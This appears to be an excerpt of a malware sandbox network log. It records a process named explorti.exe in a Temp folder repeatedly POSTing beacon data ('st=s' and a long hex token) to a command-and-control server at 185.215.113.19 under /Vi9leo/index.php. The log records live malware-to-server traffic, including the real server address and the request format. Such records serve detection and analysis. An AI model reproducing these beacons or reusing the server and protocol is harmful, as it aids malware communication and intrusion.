Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:47.223777056 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:49:47.990206003 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	49909	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:48.002496004 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:49:48.753906965 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	49910	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:48.864697933 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:49:50.635875940 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 02:49:50.635942936 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 02:49:50.636221886 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 02:49:50.636230946 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	49911	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:50.645776987 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:49:51.398015022 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	49912	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:51.520906925 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:49:52.261363029 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	49913	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:52.428297997 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:49:53.197730064 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	49914	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:53.316677094 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:49:54.068727970 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	49915	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:54.077506065 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:49:54.869539976 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	49916	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:54.987615108 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:49:55.735167980 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	49917	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:55.749136925 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:49:56.514543056 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	49918	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:56.631812096 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	49919	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:56.647298098 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:49:57.387290955 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	49920	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:57.507304907 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:49:58.257428885 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.4	49921	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:58.289053917 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:49:59.047444105 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.4	49922	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:59.302647114 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:49:59.995282888 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.4	49923	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:50:00.004648924 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:50:00.756041050 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:50:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.4	49924	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:50:00.883987904 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:50:01.628899097 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:50:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.4	49925	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:50:01.695456028 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:50:02.457379103 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:50:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.4	49926	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:50:02.567540884 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:50:03.336740971 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:50:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.4	49927	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:50:03.345603943 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:50:05.040901899 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:50:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Sep 1, 2024 02:50:05.040918112 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:50:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Sep 1, 2024 02:50:05.040973902 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:50:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Sep 1, 2024 02:50:05.040982962 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:50:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.4	49928	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:50:05.161230087 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:50:05.894241095 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:50:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.4	49929	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:50:05.903762102 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
